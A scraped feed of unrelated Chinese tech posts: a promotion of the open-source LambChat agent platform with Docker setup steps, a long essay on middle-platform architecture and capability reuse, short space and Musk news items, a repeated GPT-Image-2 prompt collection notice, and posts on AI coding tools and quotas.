本帖使用社区开源推广,符合推广要求。 我申明并遵循社区要求的以下内容: 我的帖子已经打上 开源推广 标签:是 我的开源项目完整开源,无未开源部分:是 我的开源项目已链接认可 LINUX DO 社区:是 我帖子内的项目介绍,AI生成、润色内容部分已截图发出:是 以上选择我承诺是永久有效的,接受社区和佬友监督:是 以下为项目介绍正文内容,AI生成、润色内容已使用截图方式发出 推荐一个我自己写的开源 AI Agent 平台—— LambChat 。 不仅支持自部署,还自带了多租户、MCP、Skill 技能系统和多模型接入。最关键的是, 它绝对不是那种套壳聊天软件 ,里面的 Agent 是真能自己调用各种工具去帮你搞定复杂任务的,非常适合企业自定义部署。 GitHub 地址 : Yanyutin753/LambChat 在线体验 : lambchat.com 给大家分享两个我平时测试时觉得很惊艳的实际案例: 案例一:一键批量生成 48 个游戏 UI 素材 我只给 Agent 喂了一张参考图,简单提了句需求。它自己就去分析美术风格,然后 一口气生成了 48 个游戏 UI icon ,甚至还自动按 9 个类别分好了文件夹打包!最后它还把这个能力沉淀成了 game-ui-generator 技能,下次再想做,直接发句“生成游戏icon”并上传参考图就行了。 点这里看完整对话过程 实际生成的图长这样: 它帮我整理好的文件夹结构: game-ui-icons/ (82MB, 48个PNG) ├── candies/ (6) 红/黄/绿/蓝/紫/橙糖果 ├── specials/ (5) 巧克力炸弹、彩虹炸弹、条纹糖、包装糖 ├── buttons/ (6) 播放、暂停、设置、关闭、返回、下一步、重试、首页 ├── labels/ (6) 分数标签、关卡标签、得分弹出、连击、星星评级 ├── currencies/ (5) 金币、蓝宝石、红心、闪电能量、星星货币 ├── characters/ (3) 粉/紫/绿可爱角色头像 ├── skills/ (4) 闪电、炸弹、冰冻、锤子技能 ├── navigation/ (5) 导航栏、关卡节点、宝箱奖励 └── frames/ (4) 弹窗边框、物品槽、进度条、血条 案例二:自动搞定榴莲电商全套组图 卖榴莲的商家有福了。只要输入“榴莲”和你想发的平台(淘宝/京东/拼多多),Agent 就会自动帮你做: 人群分析 视觉策略 自动生成主图、生活场景图、细节图、搭配图 。一整套流程全自动走完,生出来的图质量非常高。 点这里看完整对话过程 实际出图效果: 3 步快速上手 想自己在本地跑一个玩玩?几行命令就搞定: git clone https://github.com/Yanyutin753/LambChat.git cd LambChat/deploy cp .env.example .env # 打开 .env 填一下你的 API Key 等配置 docker compose up -d 跑起来之后,浏览器直接访问 http://localhost:8000 就能用了。 碎碎念 & 求内推 最后顺便塞个私货: 最近正在看新的工作机会,如果有觉得我这个项目做得还行、或者团队刚好在招人的佬友,求一波内推! 孩子想找个坑位,万分感谢!可以直接私信我,或者在帖子里留言,我随时发简历。 大家觉得 LambChat 好玩或者有用的话,也求个 Star 鼓励一下!欢迎提 PR,有问题随时在 GitHub Issues 或本帖留言,我看到都会回! 1 个帖子 - 1 位参与者 阅读完整话题
本文发布于个人博客 从中台兴衰看能力复用:我司实践过程中的一些思考 | 灵感空间站 中,同步过来抛砖引玉,欢迎佬友们讨论 中台为什么那么诱人? 说到中台一词在国内最早的由来,大多绕不开阿里在2015年参访 Supercell 公司后提出的“大中台、小前台”战略,但这个事件其实只是一个引子。在此之前,阿里内部已经面临着多个业务之间重复建设的问题(淘宝、天猫、聚划算等),这些业务都有一些相似的能力如交易、会员、营销等,而新的业务却需要从头建设。这种各自为营的做法,演变成了大家说的 烟囱式系统架构 。所以在15年参访 Supercell 之前,阿里内部就已经出现了能力复用的诉求,并经历了一段痛苦的摸索。 随着中台思想开始被其他公司/行业广泛研究,中台这个概念被进一步泛化,扩展出了业务中台、数据中台、技术中台,乃至 AI 中台等多个概念。并且各个公司争相模仿,开始变成了一句架构口号。 然而事物的发展总是螺旋上升的,就连主流系统架构也经历从单体到微服务,又到“微服务已死,模块化单体当立”的变化。中台思想在这十余年来的发展中,同样引起过不少争议,包括但不限于以下几点: 中台与业务之间的界限模糊不清,有些能力难以确定该归谁管 中台与业务的迭代节奏不同频,业务提出的调整需要等待中台适配,违背了前台敏捷化的初衷 中台做大做重之后,其本身也成了一个复杂的“烟囱式系统” 所以后来又看到另一种趋势:大家开始反对大中台。甚至连最早提出中台战略的阿里,也在 2023 年的 内部全员信 中提到,要将中后台“做轻、做薄”,将15年以来建立的“大中台”能力逐步被更强有力的前台吸收。 透过现象看本质,在笔者看来,中台最核心的概念其实就是 能力复用 。 只要多个业务都需要同一种能力,自然就会产生复用诉求。这个复用可以是一个独立中台服务,可以是一个公共组件,也可以只是一套模板、规范或者最佳实践。而中台只是其中一种复用方式,一种 有状态的、以复用业务能力为核心 的服务化架构。 回顾我司中台化历程 笔者所在公司规模不大,属于中小型的物联网企业。24年底,在行业发展和相关政策出台的背景下,公司决定立项新的 SaaS 业务。新业务需要从头开发,而在当时回顾公司其他业务的发展现状、可以说是标准的烟囱式架构,各自为营,许多相同的能力到了新业务中,都得重新开发;并衍生出了问题分散,运维复杂等痛点。 第一阶段:新业务建设带来的平台化尝试 在如此现状下,基于长远发展考虑,公司决定建设内部的能力复用平台(下文亦称平台),将业务中重复的、可复用的能力抽象出来构建成不同中台,业务方根据需要接入对应中台。平台与新业务同步立项,同步建设。自然而然地,新业务也成了第一个吃螃蟹的。 为什么不直接拿现有业务开刀呢?现有业务相对成熟,业务逻辑久经考验,不会有太大变动,更适合在这上面做抽象,提取共同点。 这话本身没错,但是对于运行多年的业务系统来说,稳定是第一要务;更何况早期的代码质量属实不敢恭维,多年缝缝补补下来,早已堆成了屎山,在这上面做调整,去接入一个重新设计、还未得到验证的中台,无异于屎上雕花。谁也不愿意为了长期收益并不直观的目标,去承担短期改造带来的巨大风险。这点相信不少程序员都深有体会:代码能跑就不要动。 但新业务不一样。新业务本来就是从零开始,没有太多历史包袱,也不需要考虑存量数据的兼容问题。与其再复制一套旧系统里的基础配置、用户管理等能力,不如趁此机会把公共能力沉淀下来,让新业务直接基于平台能力往上搭;同时在设计上兼顾现有业务,为以后存量业务接入(也许)打好基础。这也是不少公司推动技术迭代的方式:老的动不了,那就先在新的系统里试试。 不过这个阶段的中台建设,其实并没有后来想象的那么正规。彼时中台还没有成为公司重点发展的战略化平台,做业务系统和做中台的都是同一批人。业务开发过程中发现缺少什么能力,转头就去中台里补;业务流程需要某个字段、某个扩展点,也很自然地会被加到中台服务里。 这种模式在项目早期很高效,因为沟通成本极低,也没有明显的协作边界。开发人员既知道业务要什么,也知道中台怎么改,很多问题当天发现,当天就能调整。平台还不成熟,业务又要往前跑,与其反复开会讨论边界,不如先把能力做出来。 但这也为日后的问题埋下了伏笔。因为中台和业务从一开始就是同一批人在做,所以很多设计到底是公共能力,还是当前业务的顺手抽象,其实并没有被严格区分。某些能力看起来被放进了中台,实际上只是服务了第一个接入的业务。等到后面更多业务接入时,这些早期的设计,才开始接受真正的复用检验。 第二阶段:初版平台能力的划分 初版的中台划分比较简单,围绕公司业务特点分为以下几块: 基础管理(业务方案、租户管理、字典管理等) 用户中心(B/C 端用户、角色权限、组织划分等) IoT 中台(设备接入、物模型管理、设备影子/事件/服务等) 车辆中台(车辆实体/型号、配件实体/型号,以及组合逻辑) 从当时的视角来看,这个划分并没有什么大问题。基础管理解决的是系统运行过程中绕不开的通用配置;用户中心解决的是账号、角色、权限这些几乎所有业务都会遇到的问题;IoT 中台则对应公司的物联网业务特点,把设备接入、物模型、设备影子这类偏技术领域的能力沉淀下来;至于车辆中台,则是因为公司大部分业务都围绕两轮车展开,抽出车辆和配件相关能力,看起来也是一件很自然的事情。 只从这一层来看,初版中台的边界甚至还算克制。它没有一上来就试图包揽所有业务流程,而是围绕“业务系统都会用到什么”这个问题做拆分,既没有完全脱离业务,也没有把所有东西都塞进一个大而全的平台里。 但现在回过头来看,这几个中台服务的抽象层级其实并不完全一样。基础管理、用户中心更偏稳定的通用能力,业务差异通常体现在配置和权限模型上;IoT 中台虽然复杂,但更多复杂度来自设备协议、设备状态和消息链路,至少它解决的问题相对明确;而车辆中台就不一样了,它看似是公共能力,实际已经很接近业务模型本身。 这也是后面问题的根源之一。越靠近基础设施和稳定能力,复用越容易成立,因为不同业务之间的差异不会太大;越靠近业务模型,复用就越需要谨慎,因为不同业务虽然都有“车辆”“配件”“组合”,但背后的业务语义未必一样。初版划分里真正埋雷的地方,也正是在这里。 第三阶段:更多业务接入后,平台价值开始显现 随着不断迭代和运营,平台趋于成熟,后续公司又扩展了多个新业务,也都在这个能力基座之上进行开发。 这时平台的价值就开始体现了。一个新业务从零开始做,如果没有任何公共能力支撑,往往要考虑一堆共性问题:用户怎么管理、权限怎么分配、租户怎么隔离、设备怎么接入等等。每个问题单独看都不算复杂,但全部重新做一遍,就会消耗大量时间。 而有了平台之后,新业务可以直接复用已经沉淀下来的用户、权限、设备接入、基础管理等能力,把更多精力放在自己的业务流程上。对于开发团队来说,这种收益是非常明显的:项目启动更快,基础功能交付更快,很多之前需要重复讨论和重复开发的东西,变成了按规范接入即可。 更重要的是,试错成本也随之降低了。业务能不能跑通,市场反馈好不好,并不是一开始就能判断清楚的。如果每一次尝试新业务,都要完整搭一套基础能力,那么自然需要更加谨慎;但如果底层能力已经有了,新业务只需要在平台之上补齐自己的核心业务流程,那尝试新方向的成本就会低很多。 所以站在这个阶段看,中台确实发挥了它的价值。它从纸上谈兵变成了实际生产力,也让公司在探索新业务时拥有了更快的启动速度。哪怕后面暴露出不少问题,也不能否认,在这一阶段,中台确实解决了一部分真实痛点,以至于后来公司决定将平台作为战略化项目,组建团队单独维护。 第四阶段:平台能力扩张后,问题开始出现 中台的价值被看见之后,平台自然被寄予了更多期待。它不再只是新业务建设时顺手沉淀出来的公共能力,而开始被视为支撑后续业务发展的统一基座。但这时中台与业务的矛盾也随之而来: 中台应该以稳定为先,而业务天然追求快速迭代。 对于业务方来说,需求往往是紧急的。业务要上线、流程要验证,很多需求都带着 DDL。而对于平台方来说,一个改动要考虑的方面会更多一些: 后续的兼容性、业务的接入成本、长期的维护难度 …这些往往不是一拍脑袋就能决定的。如果平台团队没有足够的话语权(事实上大部分公司都是业务方的话语权更大),就会不断被这些紧急需求打断,有些改动就会欠缺更深远的考虑。 车辆中心的问题,某种程度上就是这种矛盾的早期体现。 车辆中心最初的设想,基于公司业务围绕两轮车展开,车辆、配件、型号、组合关系这些概念看起来天然具备复用价值。既然后续业务大概率也会接触车辆,那把车辆能力提前抽出来,似乎是一个很合理的选择。 但随着这个业务不断往前发展,各种复杂规则也不断被加进来。今天改一下配件组合规则,明天多一种车辆状态流转,后天又要兼容某个特殊业务流程。这些改动不断叠加后,车辆中心的模型也越来越贴近这个业务本身。 直到某个时间点再回过头审视,才发现车辆中心已经变成新业务的形状了 。它虽然仍然叫车辆中心,但里面沉淀的领域模型、规则和扩展点,实际上都和这个新业务强绑定。如果未来真有其他两轮车业务想接入,面对的不是一个清晰、轻量、稳定的车辆能力,而是一套与特定业务深度绑定的复杂模型。 这件事带给我们一个教训: 公共名词并不等于公共模型 。多个业务都有车辆概念,不代表大家都是同一套车辆模型;大家都说配件,也不代表配件之间的组合规则可以被统一抽象。越靠近业务模型的能力,越不能只因为名字相同就急着中台化,否则很容易在持续迭代中,把某个业务的模型包装成公共能力。 如果说车辆中心的问题是“过于贴合早期业务”,那么后来规划的交易能力(订单、支付、分账)的中台化,则暴露出另一类问题:设计过早追求绝对完整,结果还没真正接入业务,复杂度已经爆炸了。 交易中台最初不是由某个具体业务需求倒逼出来的,而是平台团队主动提出的。面向C端的商业化项目,往往绕不开支付、分账这类交易能力。所以当时平台团队的设想是,由中台把这些复杂度统一包下来,业务侧只需按照平台提供的交易模型接入,就不用再关心很多底层细节。 但问题也正是从这个“ 统一包下来 ”开始的。 最开始,我们想解决的是第三方支付能力的复用;但是实际业务中,一笔交易订单可以由多种支付能力组成:内部钱包、优惠券、第三方支付…既然打算统一包下来了,那就都做了吧。于是交易中台的边界不断扩大,复杂度也明显上升:交易订单需要考虑各种支付组合场景,且退款时也要兼容各个渠道的退回;支付成功后,可能立即分账,也可能延迟分账;如果一笔支付已经被分账了,退款时该如何处理?类似问题越往后退,边界场景就越多。并且由于中台作为公共能力的特点,天然要求更加稳定,覆盖场景更充足;更别说这类能力是和钱打交道的了。 这就导致一个尴尬的局面:交易中台还没真正落地,内部复杂度已经隐约开始失控了。到了后期,除了项目负责人之外,团队内其他成员都不一定能理清这一整块的复杂逻辑,更何况后续业务方接入呢? 所以后来我和一个新业务的技术负责人交流时,他提到一个很现实的问题:由于平台侧交易能力的设计周期较长,业务为了尽快上线,已经自行实现了相关功能,并且功能也逐渐稳定。此时再要求业务等平台能力完善后全盘接入,对业务方来说其实很难理解。业务还在起步阶段,最需要的是稳定和快速响应客户需求,现在却要花大量时间把已经跑通的核心链路迁移到一个未经充分验证的平台能力上,本身就会让人抵触。 交易、分账这类能力固然具有复用价值,而且越往后发展,越容易成为多个业务都会遇到的问题。但首先不同业务对其中的细节可能有不同的客制化需求,如果平台过早把这些灵活性都包进来,为业务提供一把“万能钥匙”,那么平台本身的业务复杂度也会直线上升;并且这类能力有一个特点:它非常看重稳定性。业务一旦上线并形成稳定交易链路,就不会轻易愿意迁移。因为迁移交易链路带来的风险,不只是多改几行代码,而是可能影响资金流、现有订单、对账、售后等一整套业务流程。 这让我意识到,对于交易这类复杂能力来说,平台能力做得越完整,交付周期会拉得越长(指数上升),并且业务方的接入成本也更高。因为完整往往意味着平台已经预设了一整套流程、模型和边界,业务方接入时不仅要调用接口,还要理解平台的设计,并判断自己的业务流程能不能塞进这套模型里。搞不好业务为了兼容平台,反而要调整现有已经跑通的设计。 从前端组件库看“复用方式”的变化 前段时间,我在 vibe 个人小项目的过程中,接触到了 shadcn/ui 这个组件库。以前写前端时,对于各种控件、表单,通常都会引入组件库,大家熟知的 Ant Design、Element Plus 都是成熟的组件库。组件库使得页面交互行为更一致,视觉风格更统一,开发效率也更高;但相对的,组件库能调整的地方有限,通常只有少数几个 props。 对于后台管理系统这类场景,大部分页面不追求太强的个性化,长得千篇一律也无所谓。但是对于个性化要求较高的应用(比如本博客),在设计之初就希望展现出强烈的个人风格(先不论好看与否),而非千人一面。而组件库作为页面风格的重要体现元素,自然有着客制化的需求。在当时,我面临两个选择: 找一个设计风格上对我口味的组件库 自己实现一个组件库 后来我选择了第二种方案,并经历了一段痛苦的探索。有些事情往往动手之后才知道不简单: Tooltip 怎么被按钮遮住了? 文本框内怎么显示滚动条了? 多个 Notification 轮流消失时,下方的怎么是瞬移上去的? 诸如此类问题不断出现,修复,出现下个问题。 所以后来我看到 shadcn/ui 的思路时,觉得它很有意思。它并不直接提供组件库作为项目依赖,而是换了一种复用方式:直接把组件源码添加到项目里。你得到的是一份已经设计好的默认实现,包括交互、结构、可访问性和基础样式,但这份代码属于你的项目,你可以随意修改组件的样式、行为,正如它文档中对自己的定位: This is not a component library. It is how you build your component library. 回到中台这个话题,这个例子给了我一个启发:复用不一定非要通过一个强中心来完成。公共能力可以提供默认实现和最佳实践,但不一定要把业务方锁死在一个不可修改的模型里。对于变化比较多的部分,让业务方拥有一定的调整空间,可能比强行统一更具灵活性,也更容易被业务接受。 当然,前端组件库和后端业务中台不是一回事,这个类比不能简单套用。组件源码复制到项目里,后续维护成本由项目自己承担;而后端中台往往涉及数据一致性、系统边界、稳定性和跨业务协作,复杂度高得多。但它们背后的思想是相通的:复用的目标不是制造依赖,而是降低重复建设;公共能力的价值,也不一定要以牺牲业务灵活性为代价。 另一个例子:异步任务中心的状态归属 shadcn/ui 这个例子,让我想到另一个后端场景: 对于B端业务,不少场景下会涉及到数据导入/报表导出等相关功能,这类场景的一大特点就是数据量大,执行时间往往较长。如果直接通过接口同步执行,很容易遇到接口超时、页面刷新后状态丢失等问题,用户体验较差。并且,由于这类任务都是用户在业务流程中实时发起的,也不适合用定时任务来处理,所以通常做法都是对这类功能进行异步化改造。 所以当新业务中开始出现大数据量导入导出的需求时,我没有急着按异步化的思路进行开发,而是开始思考:公司几乎所有业务中都有导入导出这类场景,而这类需求也都可以抽象为以下执行模型: 用户发起一个任务 系统记录一条任务信息 后台异步执行任务 用户可以随时查看任务状态 任务完成后记录结果,可供用户查看 对于此类需求来说,上面的流程(任务生命周期管理)都是固定不变的,真正变化的,只有任务执行逻辑本身。既然如此,我们为何不尝试将这种能力抽象出来,供各个业务复用呢? 所以我根据这个思路设计了一个异步任务中心 SpringBoot Starter,帮助业务屏蔽掉任务落库、调度执行、服务重启恢复等与业务逻辑无关的细节。业务只需按照约定实现业务逻辑,并提供对应的任务提交与查询能力,就能轻松实现长任务的异步化,无需关心其他细节。但是这里出现了一个纠结点:异步任务中心需要持久化任务记录,同时需要添加定时任务用于提交未执行的任务。那么,这些数据和定时任务应该放在哪呢?我们想到了两种方案: 平台托管 :放在一个单独的服务中,由该服务维护管理,并向业务侧提供相应接口 能力下沉 :只提供数据表 DDL 和定时任务模板,需要用到的业务自行添加,自行管理 这两种方案各有优劣。平台托管的优势是业务方无需维护数据与定时任务,接入更加简单,但灵活性稍差,且该服务不可用时会影响所有业务;而能力下沉的优势是使用上更加灵活,且没有中心化的单点风险,但相对的,需要自己维护数据与定时任务。 后面评估时,我们认为平台托管所带来的收益有限,且使用上不够灵活。这种场景下,我们更看重业务侧的控制权,不同业务可能任务的归属主体不一样,任务的筛选条件也不一样。通过能力下沉将这些细节留给业务决定是更好的选择。 现在回过头来看,这个异步任务中心的设计其实有点像前面提到的 shadcn/ui。我们没有选择把所有能力都收归到一个强中心化平台,而是只抽象了任务生命周期管理这个真正稳定的部分,把数据查询、任务归属等容易变化的部分交回给业务自己管理。从这个角度看,能力复用并不一定意味着需要“统一托管”,而是稳定的部分由公共能力提供,变化的部分留给业务控制。这个判断,也正好能回到前面提到的能力复用平台的问题:并不是所有能力都适合做成强中台。 中台不是目的,复用才是 其实很多中台的问题不在于能不能复用,而是用了不合适的复用方式。不同能力的复杂度、边界、稳定性都不一样,适用的复用方式也自然不同。 车辆中心的问题,是把相同的业务名词误认为相同的业务模型;交易中台的问题,是在业务模型还没有充分验证之前,就试图把未来可能出现的复杂场景提前纳入;而异步任务中心最终选择能将能力下沉为组件,则说明有些能力真正值得复用的,并不是完整的平台服务,而是其中的执行模型和默认实现。 现在看来,真正适合中台化的,往往是那些边界清晰,能力模型稳定的业务:比如用户认证、权限模型、或者标准的渠道支付。这些能力的差异性往往可以通过配置等非代码适配的方式来抹平。同时也要警惕“过早抽象”,避免最后变成了某个业务的映射。但这里又涉及到一个矛盾:有些能力过早抽象,容易出错;但太晚做,又会遇到存量系统改不动的问题。想要在早期设计中规避这些问题,往往需要功力深厚、深入理解业务的架构师才能做到,这也是为什么小公司在推动中台化时更容易踩坑。 而对于那些更偏向解决确定性技术问题、或者状态可以由业务自己控制的能力,做成技术组件或许是更聪明的做法。常见的接口幂等、流量控制,亦或是上面提到的异步任务中心都是很好的例子。这种复用方式只关注流程中不变的部分,把变化的部分通过扩展点留给使用方自己决定,没有中心化的单点风险,也不剥夺业务侧的控制权,自然更容易被业务方接纳。 毕竟, 好的复用,是用合适的方式,在平台沉淀的稳定性与业务演进的变化性之间找到合适的边界。 2 个帖子 - 2 位参与者 阅读完整话题
IT之家 5 月 22 日消息,据科技日报报道,中科宇航创新研究院常务副院长王英诚 5 月 22 日透露,该公司正在研制的可重复使用轨道级航天器力鸿三号, 计划于 2028 年首飞 。 据介绍,力鸿三号主要用于开展长期在轨科学试验与太空制造任务。 其具备长期留轨能力 ,在轨运行时间灵活,能够为至少 300 公斤有效载荷提供持续微重力环境。该航天器配备标准化接口,可提供稳定的试验条件,能够同时支撑多种科学试验与在轨制造任务。 王英诚同时透露, 主要面向太空实验和太空旅游的力鸿二号可重复使用运载器 ,目前处于工程研制阶段,计划于今年年底首飞并实现百公里级回收。 IT之家注意到,今年 1 月,中科宇航力鸿一号遥一飞行器在我国 酒泉卫星发射中心 圆满完成亚轨道飞行试验任务,返回式载荷舱通过伞降系统顺利着陆完成回收。 此次飞行试验圆满完成返回式载荷舱的再入大气层返回减速与回收验证,同时开展了飞行器子级返回精确落点控制技术验证,百公里返回落点精度达到百米量级,标志着太空制造从“概念验证”进入到“工程验证”阶段,为不久的将来实现太空制造、太空实验、 太空医学 和太空旅游打下坚实的技术基础。
GPT-Image-2 全量开放后,X 时间线里高质量案例明显变多。这里把近期高赞内容做了一次集中清洗,大概收录了 10000 个左右,方便直接参考、复用。 如果你想长期沉淀这类高质量模板,这里三个开源项目可以一起使用: 模板与数据集: https://github.com/denghuichao/gpt-image-2-prompts 采集插件: https://github.com/denghuichao/x-capture 可视化展示和检索:`https://gptimageprompt.xyz/gallery
GPT-Image-2 全量开放后,X 时间线里高质量案例明显变多。这里把近期高赞内容做了一次集中清洗,大概收录了 10000 个左右,方便直接参考、复用。 如果你想长期沉淀这类高质量模板,这里三个开源项目可以一起使用: 模板与数据集: https://github.com/denghuichao/gpt-image-2-prompts 采集插件: https://github.com/denghuichao/x-capture 可视化展示和检索:`https://gptimageprompt.xyz/gallery
GPT-Image-2 全量开放后,X 时间线里高质量案例明显变多。这里把近期高赞内容做了一次集中清洗,大概收录了 10000 个左右,方便直接参考、复用。 如果你想长期沉淀这类高质量模板,这里三个开源项目可以一起使用: 模板与数据集: https://github.com/denghuichao/gpt-image-2-prompts 采集插件: https://github.com/denghuichao/x-capture 可视化展示和检索:`https://gptimageprompt.xyz/gallery
GPT-Image-2 全量开放后,X 时间线里高质量案例明显变多。这里把近期高赞内容做了一次集中清洗,大概收录了 10000 个左右,方便直接参考、复用。 如果你想长期沉淀这类高质量模板,这里三个开源项目可以一起使用: 模板与数据集: https://github.com/denghuichao/gpt-image-2-prompts 采集插件: https://github.com/denghuichao/x-capture 可视化展示和检索:`https://gptimageprompt.xyz/gallery
GPT-Image-2 全量开放后,X 时间线里高质量案例明显变多。这里把近期高赞内容做了一次集中清洗,大概收录了 10000 个左右,方便直接参考、复用。 如果你想长期沉淀这类高质量模板,这里三个开源项目可以一起使用: 模板与数据集: https://github.com/denghuichao/gpt-image-2-prompts 采集插件: https://github.com/denghuichao/x-capture 可视化展示和检索:`https://gptimageprompt.xyz/gallery
GPT-Image-2 全量开放后,X 时间线里高质量案例明显变多。这里把近期高赞内容做了一次集中清洗,大概收录了 10000 个左右,方便直接参考、复用。 如果你想长期沉淀这类高质量模板,这里三个开源项目可以一起使用: 模板与数据集: https://github.com/denghuichao/gpt-image-2-prompts 采集插件: https://github.com/denghuichao/x-capture 可视化展示和检索:`https://gptimageprompt.xyz/gallery
GPT-Image-2 全量开放后,X 时间线里高质量案例明显变多。这里把近期高赞内容做了一次集中清洗,大概收录了 10000 个左右,方便直接参考、复用。 如果你想长期沉淀这类高质量模板,这里三个开源项目可以一起使用: 模板与数据集: https://github.com/denghuichao/gpt-image-2-prompts 采集插件: https://github.com/denghuichao/x-capture 可视化展示和检索:`https://gptimageprompt.xyz/gallery
GPT5.5写完一个前端模块,想着让3.5flash去复用到其他地方,然后写完一看flash和pro额度都少了,我的账号是pro订阅,美区自费20刀的,只有我一个人用。而且实际就蹬了10分钟不到一大半没了 4 个帖子 - 2 位参与者 阅读完整话题
IT之家 5 月 18 日消息,特斯拉首席执行官埃隆 · 马斯克于当地时间周一通过视频连线出席了特拉维夫智能出行峰会,马斯克在峰会上透露,旗下航天企业 SpaceX 即将研发完成可复用火箭发射系统,这项技术突破将大幅降低太空航行成本。 “我们今年有望攻克这项技术。”他说道,“该技术问世后,将成为人类文明发展的重要转折点,助力人类迈入星际文明时代。” IT之家注意到,马斯克还提到,今年晚些时候,他的脑机接口公司 Neuralink 将首次使用其“盲视(Blindsight)”植入设备进行植入手术,帮助先天失明或视力受损的人重见光明。 他表示:“初期设备仅能让使用者获得有限视力,长期使用后有望实现高清精准视觉,甚至远超常人的超强视觉。”他还补充,公司同时在研发相关技术,助力瘫痪人群重新站立行走。 马斯克认为,大约十年后,人形机器人将会遍布各地;凭借机器人带来的高效生产力,社会或将实现全民高收入,推动经济稳步增长。
之前我是: mac原始终端 + zellij + claude code 终端复用着蹬 opus 4.7 唯一缺点就是想看看改了啥,看看代码,就得打开vscode 大概这个效果 最近: zed编辑器 + ACP协议接opencode 爽蹬gpt 5.5 这个效果 zed专门为ai coding出的布局,acp协议几乎能接任何主流agent,直接同时开多个项目,点一下就换项目空间了,代码区,对话直接跟着变。 爽 5 个帖子 - 5 位参与者 阅读完整话题